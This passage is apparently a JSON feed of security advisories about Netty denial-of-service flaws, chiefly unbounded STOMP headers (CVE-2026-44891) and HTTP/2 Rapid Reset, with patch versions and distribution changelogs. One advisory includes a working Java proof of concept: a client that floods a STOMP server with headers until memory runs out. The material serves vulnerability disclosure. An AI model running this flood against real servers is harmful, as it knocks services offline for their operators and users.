https://cloud.google.com/blog/products/identity-security/google-cloud-mitigated-largest-ddos-attack-peaking-above-398-million-rps/","status":"published","published":"2023-10-10T22:22:54Z","modified":"2023-11-06T22:08:37Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T14:37:15.055009Z"}],"nvd":[{"id":"CVE-2026-44891","description":"Netty is a network application framework for development of protocol servers and clients. Prior to 4.1.136.Final and 4.2.16.Final, io.netty.handler.codec.stomp.StompSubframeDecoder fails to limit the total number of headers or their cumulative size per frame, and the maxLineLength parameter only restricts individual header lines. An attacker can send a large number of short headers that are accumulated in memory inside DefaultStompHeadersSubframe until the JVM throws an OutOfMemoryError, causing denial of service for servers exposing a STOMP endpoint based on StompSubframeDecoder. This issue is fixed in versions 4.1.136.Final and 4.2.16.Final.","status":"published","published":"2026-07-17T21:17:06.25Z","modified":"2026-07-23T13:35:01.493Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-400","CWE-770"],"updated_at":"2026-11-02T14:12:30.631352Z"}],"osv":[{"id":"CVE-2026-44891","title":"Netty: Denial of Service via Unbounded Headers in StompSubframeDecoder","description":"Netty is a network application framework for development of protocol servers and clients. Prior to 4.1.136.Final and 4.2.16.Final, io.netty.handler.codec.stomp.StompSubframeDecoder fails to limit the total number of headers or their cumulative size per frame, and the maxLineLength parameter only restricts individual header lines. An attacker can send a large number of short headers that are accumulated in memory inside DefaultStompHeadersSubframe until the JVM throws an OutOfMemoryError, causing denial of service for servers exposing a STOMP endpoint based on StompSubframeDecoder. This issue is fixed in versions 4.1.136.Final and 4.2.16.Final.","status":"published","published":"2026-07-17T20:16:24.486Z","modified":"2026-10-28T11:10:56.254707141Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400","CWE-770"],"updated_at":"2026-11-02T15:45:05.172514Z"},{"id":"DEBIAN-CVE-2026-44891","description":"Netty is a network application framework for development of protocol servers and clients. Prior to 4.1.136.Final and 4.2.16.Final, io.netty.handler.codec.stomp.StompSubframeDecoder fails to limit the total number of headers or their cumulative size per frame, and the maxLineLength parameter only restricts individual header lines. An attacker can send a large number of short headers that are accumulated in memory inside DefaultStompHeadersSubframe until the JVM throws an OutOfMemoryError, causing denial of service for servers exposing a STOMP endpoint based on StompSubframeDecoder. This issue is fixed in versions 4.1.136.Final and 4.2.16.Final.","status":"published","published":"2026-07-17T21:17:06.25Z","modified":"2026-10-01T03:03:05.89280073Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:45:55.669088Z"},{"id":"GHSA-vhch-2wf3-m8rp","title":"Netty: Denial of Service via Unbounded Headers in StompSubframeDecoder","description":"### Summary\nThe StompSubframeDecoder fails to limit the total number of headers or their cumulative size per frame, allowing an attacker to cause an OutOfMemoryError, leading to a Denial of Service.\n\n### Details\n`io.netty.handler.codec.stomp.StompSubframeDecoder` implements the STOMP protocol. The `maxLineLength` parameter restricts the length of individual header lines, but there is no mechanism to limit the total number of headers in a single STOMP frame. An attacker can send a large number of short headers (e.g., `a: 1\\n`), which are accumulated in memory inside the `DefaultStompHeadersSubframe` until the JVM throws an OutOfMemoryError.\n\n### PoC\nRun the server with `-Xmx256m`\n\n```java\npublic final class ServerApp {\n    public static void main(String[] args) throws Exception {\n        EventLoopGroup group = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());\n        try {\n            ChannelFuture serverFuture = new ServerBootstrap()\n                    .group(group)\n                    .channel(NioServerSocketChannel.class)\n                    .childHandler(new StompSubframeDecoder())\n                    .bind(8080)\n                    .sync();\n            serverFuture.channel().closeFuture().sync();\n        } finally {\n            group.shutdownGracefully();\n        }\n    }\n}\n```\n\n```java\npublic final class ClientApp {\n    public static void main(String[] args) throws Exception {\n        try (Socket socket = new Socket(\"127.0.0.1\", 8080)) {\n            OutputStream out = socket.getOutputStream();\n\n            out.write(\"CONNECT\\n\".getBytes(StandardCharsets.UTF_8));\n\n            StringBuilder sb = new StringBuilder();\n            for (int i = 0; i \u003c 1000; i++) {\n                sb.append(\"a:1\\n\");\n            }\n            byte[] bulkHeaders = sb.toString().getBytes(StandardCharsets.UTF_8);\n\n            for (int i = 1; i \u003c= 50_000; i++) {\n                out.write(bulkHeaders);\n            }\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n    }\n}\n```\n\n### Impact\nDenial of Service: An attacker can easily exhaust the server's memory by sending a single malicious STOMP message. Any server exposing a STOMP endpoint based on StompSubframeDecoder is vulnerable to DoS.","status":"published","published":"2026-07-14T20:16:34Z","modified":"2026-09-10T03:51:12.364457841Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400","CWE-770"],"updated_at":"2026-11-02T15:46:57.348035Z"},{"id":"GHSA-xpw8-rcwv-8f8p","title":"io.netty:netty-codec-http2 vulnerable to HTTP/2 Rapid Reset Attack","description":"A client might overload the server by issue frequent RST frames. This can cause a massive amount of load on the remote system and so cause a DDOS attack. \n\n### Impact\nThis is a DDOS attack, any http2 server is affected and so you should update as soon as possible.\n\n### Patches\nThis is patched in version 4.1.100.Final.\n\n### Workarounds\nA user can limit the amount of RST frames that are accepted per connection over a timeframe manually using either an own `Http2FrameListener` implementation or an `ChannelInboundHandler` implementation (depending which http2 API is used).\n\n### References\n- https://www.cve.org/CVERecord?id=CVE-2023-44487\n- https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/\n- https://cloud.google.com/blog/products/identity-security/google-cloud-mitigated-largest-ddos-attack-peaking-above-398-million-rps/","status":"published","published":"2023-10-10T22:22:54Z","modified":"2026-09-10T03:49:58.76078733Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T15:47:00.198893Z"},{"id":"RHLW-2026-b66720d53a6e2ba6","title":"Lightwell Security Advisory: netty-codec-stomp 4.1.100.Final-rhlw-00001","description":"Red Hat Lightwell has released io.netty:netty-codec-stomp 4.1.100.Final-rhlw-00001 with backported fixes for CVE-2026-44891 and CVE-2026-59920.\n\nCVE-2026-44891: Netty: Denial of Service via Unbounded Headers in StompSubframeDecoder\n\nCVE-2026-59920: Netty: STOMP CONNECT Frame Header Injection\n\nThis patched artifact is a drop-in replacement for io.netty:netty-codec-stomp 4.1.100.Final from Maven Central.","status":"published","published":"2026-10-12T16:57:59Z","modified":"2026-10-27T04:13:02.5907333Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:58.636919Z"},{"id":"ROOT-APP-MAVEN-GHSA-xpw8-rcwv-8f8p","title":"GHSA-xpw8-rcwv-8f8p in io.root.io.netty:netty-codec-http2 - Patched by Root","description":"Root has patched GHSA-xpw8-rcwv-8f8p in the io.root.io.netty:netty-codec-http2 package for Root:Maven. Multiple fixed versions available.","status":"published","published":"2026-06-18T12:52:23Z","modified":"2026-06-18T18:15:26.175069727Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:27.066589Z"},{"id":"UBUNTU-CVE-2026-44891","description":"Netty is a network application framework for development of protocol servers and clients. Prior to 4.1.136.Final and 4.2.16.Final, io.netty.handler.codec.stomp.StompSubframeDecoder fails to limit the total number of headers or their cumulative size per frame, and the maxLineLength parameter only restricts individual header lines. An attacker can send a large number of short headers that are accumulated in memory inside DefaultStompHeadersSubframe until the JVM throws an OutOfMemoryError, causing denial of service for servers exposing a STOMP endpoint based on StompSubframeDecoder. This issue is fixed in versions 4.1.136.Final and 4.2.16.Final.","status":"published","published":"2026-07-17T21:17:00Z","modified":"2026-10-17T12:58:21.800416813Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T16:56:26.396868Z"},{"id":"CLSA-2026-1787045999","title":"TuxCare security update for io.netty (23 CVEs)","description":"TuxCare rebuilt 47 io.netty packages to address 23 CVEs. Fixed in 4.1.135.Final-tuxcare.1.","status":"published","published":"2026-08-18T09:39:59Z","modified":"2026-10-15T09:46:22.118386744Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"CLSA-2026-1787049848","title":"TuxCare security update for io.netty (23 CVEs)","description":"TuxCare rebuilt 47 io.netty packages to address 23 CVEs. Fixed in 4.1.130.Final-tuxcare.3.","status":"published","published":"2026-08-18T10:44:08Z","modified":"2026-10-15T09:46:35.670728434Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"CLSA-2026-1787271464","title":"TuxCare security update for io.netty (59 CVEs)","description":"TuxCare rebuilt 47 io.netty packages to address 59 CVEs. Fixed in 4.1.122.Final-tuxcare.2.","status":"published","published":"2026-08-21T00:17:44Z","modified":"2026-10-15T09:46:34.75643555Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"CLSA-2026-1787301097","title":"TuxCare security update for io.netty (60 CVEs)","description":"TuxCare rebuilt 47 io.netty packages to address 60 CVEs. Fixed in 4.1.119.Final-tuxcare.1.","status":"published","published":"2026-08-21T08:31:37Z","modified":"2026-10-15T09:46:34.967537233Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"CLSA-2026-1787306632","title":"TuxCare security update for io.netty (41 CVEs)","description":"TuxCare rebuilt 47 io.netty packages to address 41 CVEs. Fixed in 4.1.112.Final-tuxcare.6.","status":"published","published":"2026-08-21T10:03:52Z","modified":"2026-10-15T09:46:35.351743786Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"CLSA-2026-1787309634","title":"TuxCare security update for io.netty (62 CVEs)","description":"TuxCare rebuilt 47 io.netty packages to address 62 CVEs. Fixed in 4.1.111.Final-tuxcare.1.","status":"published","published":"2026-08-21T10:53:54Z","modified":"2026-10-15T09:46:34.370885626Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"CLSA-2026-1787331164","title":"TuxCare security update for io.netty (48 CVEs)","description":"TuxCare rebuilt 47 io.netty packages to address 48 CVEs. Fixed in 4.1.117.Final-tuxcare.3.","status":"published","published":"2026-08-21T16:52:44Z","modified":"2026-10-15T09:47:25.558975504Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"CLSA-2026-1787333890","title":"TuxCare security update for io.netty (61 CVEs)","description":"TuxCare rebuilt 47 io.netty packages to address 61 CVEs. Fixed in 4.1.108.Final-tuxcare.1.","status":"published","published":"2026-08-21T17:38:10Z","modified":"2026-10-15T09:47:25.399673043Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"CLSA-2026-1787383378","title":"TuxCare security update for io.netty (61 CVEs)","description":"TuxCare rebuilt 47 io.netty packages to address 61 CVEs. Fixed in 4.1.107.Final-tuxcare.1.","status":"published","published":"2026-08-22T07:22:58Z","modified":"2026-10-15T09:47:25.582500226Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"CLSA-2026-1787397404","title":"TuxCare security update for io.netty (61 CVEs)","description":"TuxCare rebuilt 47 io.netty packages to address 61 CVEs. Fixed in 4.1.94.Final-tuxcare.1.","status":"published","published":"2026-08-22T11:16:44Z","modified":"2026-11-10T19:58:30.506519107Z","updated_at":"2026-11-10T20:07:15.512362Z"},{"id":"CLSA-2026-1789379074","title":"TuxCare security update for io.netty (22 CVEs)","description":"TuxCare rebuilt 46 io.netty packages to address 22 CVEs. Fixed in 4.1.79.Final-tuxcare.4.","status":"published","published":"2026-09-14T09:44:34Z","modified":"2026-10-15T09:47:43.074218723Z","updated_at":"2026-11-02T15:43:47.938828Z"},{"id":"openSUSE-SU-2026:11394-1","title":"netty-4.1.136-1.1 on GA media","description":"These are all security issues fixed in the netty-4.1.136-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-07-28T00:00:00Z","modified":"2026-07-29T18:24:26.986451317Z","updated_at":"2026-11-02T16:58:39.516824Z"},{"id":"SUSE-SU-2026:3482-1","title":"Security update for netty, netty-tcnative","description":"This update for netty, netty-tcnative fixes the following issues:\n\nUpgrade netty to upstream version 4.1.136 and netty-tcnative to version 2.0.80 Final.\n\nSecurity issues fixed\n\n- CVE-2026-44891: memory exhaustion in `io.netty:netty-codec-stomp` (bsc#1271435).\n- CVE-2026-55831: resource exhaustion/DoS in `io.netty:netty-codec-http` (bsc#1271960).\n- CVE-2026-55833: zip bomb in `io.netty:netty-codec-http` (bsc#1271961).\n- CVE-2026-55851: memory exhaustion in `io.netty:netty-codec-haproxy` (bsc#1272253).\n- CVE-2026-56745: memory exhaustion in `io.netty:netty-codec-http` (bsc#1272254).\n- CVE-2026-56746: improper access control in `io.netty:netty-codec-http` (CORS) (bsc#1272255).\n- CVE-2026-56817: insecure defaults in XML parsing in `io.netty:netty-codec-xml` (bsc#1272257).\n- CVE-2026-56818: memory leak in `io.netty:netty-codec-redis` (bsc#1272603).\n- CVE-2026-56819: memory leak in `io.netty:netty-codec-http2` (bsc#1272258).\n- CVE-2026-56820: improper certificate validation in `io.netty:netty-handler-ssl-ocsp` (bsc#1272259).\n- CVE-2026-56821: improper certificate revocation check in `io.netty:netty-handler-ssl-ocsp` (bsc#1272299).\n- CVE-2026-56822: time-of-check/time-of-use in `io.netty:netty-handler-ssl-ocsp` (bsc#1272300).\n- CVE-2026-59898: protocol version confusion in `io.netty:netty-codec-http` (websocket) (bsc#1272302).\n- CVE-2026-59899: memory exhaustion in `io.netty:netty-codec-http` (bsc#1272301).\n- CVE-2026-59900: improper header neutralization in `io.netty:netty-codec-http2` (bsc#1272303).\n- CVE-2026-59901: infinite loop in `io.netty:netty-codec-compression` (bzip2) (bsc#1272304).\n- CVE-2026-59919: improper CR/LF neutralization in `io.netty:netty-codec-haproxy` (bsc#1272305).\n- CVE-2026-59920: improper CR/LF neutrolization in `io.netty:netty-codec-stomp` (bsc#1272306).\n- CVE-2026-59921: improper CR/LF neutralization in `io.netty:netty-codec-http` (multipart) (bsc#1272307).\n- Memory leak in `io.netty:netty-codec-dns`  (bsc#1272519).\n- Uncontrolled resource consumption in `io.netty:netty-codec-xml` (bsc#1272518).\n\nOther updates and bugfixes:\n\n- Upgrade to upstream version 4.1.136:\n  + SingleThreadEventExecutor: document Throwable safety contract\n    on run()\n  + Make HTTP/2 frame hashCode consistent with equals\n  + Add BlockHound exception for DnsQueryIdSpace (#16896)\n  + FlowControlHandler: Fix autoRead behavior\n  + Fix incorrect bounds in error message of\n    HpackDecoder.setMaxHeaderListSize\n  + MQTT: Fix MQTT decoder size check after variable header replay\n  + MQTT: Make the decodeProperties early-REPLAY check actually\n    fire\n  + Reject control characters at the boundary of HTTP method names\n    (#16723)\n  + Update to latest tcnative release\n  + Fix HTTP 2 PUSH_PROMISE stream association validation\n  + Fix GZIP FEXTRA extra-field handling in JdkZlibDecoder\n  + Add opt-in validation of mandatory pseudo-header fields for\n    HTTP/2\n  + Strictly validate MQTT UTF-8 Encoded String (#16939)\n  + Stop DateFormatter trailing token from running past the parse\n    end\n  + IpFilter: Deprecate constructor which use accept by default\n  + Add RFC 10008 QUERY Method support (#16966)\n  + Correctly release and fail queued traffic-shaping writes on\n    close (#16959)\n  + FlowControlHandler: respect auto-read when toggled while\n    dequeueing\n  + IdleStateHandler: reset firstWriter/ReaderIdleEvent in\n    resetWriteTimeout/resetReadTimeout (#16982)\n  + Fix typo in AbstractSniHandler Javadoc\n  + Reconcile AbstractCoalescingBufferQueue readableBytes when it\n    drains, and fail stuck HTTP/2 streams instead of spinning\n    empty DATA frames\n  + Reject control characters at the boundary of the HTTP version\n    token (#16971)\n  + Reset UTF-8 decode state on CR in StompSubframeDecoder\n  + HTTP2: Pass the correct number of arguments when logging\n    goaway\n  + FastLz: Guard decompression against truncated input (#17000)\n  + Fix propagation of startTls for client SslContext handler\n  + Reject non-token characters in HTTP/2 header names\n  + Update lz4-java to 1.11.1\n  + Pin github actions to reduce risk (#17043)\n  + Merge branches from forks (#17063)\n","status":"published","published":"2026-08-04T11:46:42Z","modified":"2026-08-05T18:23:51.045558593Z","updated_at":"2026-11-02T15:54:04.987808Z"}]}}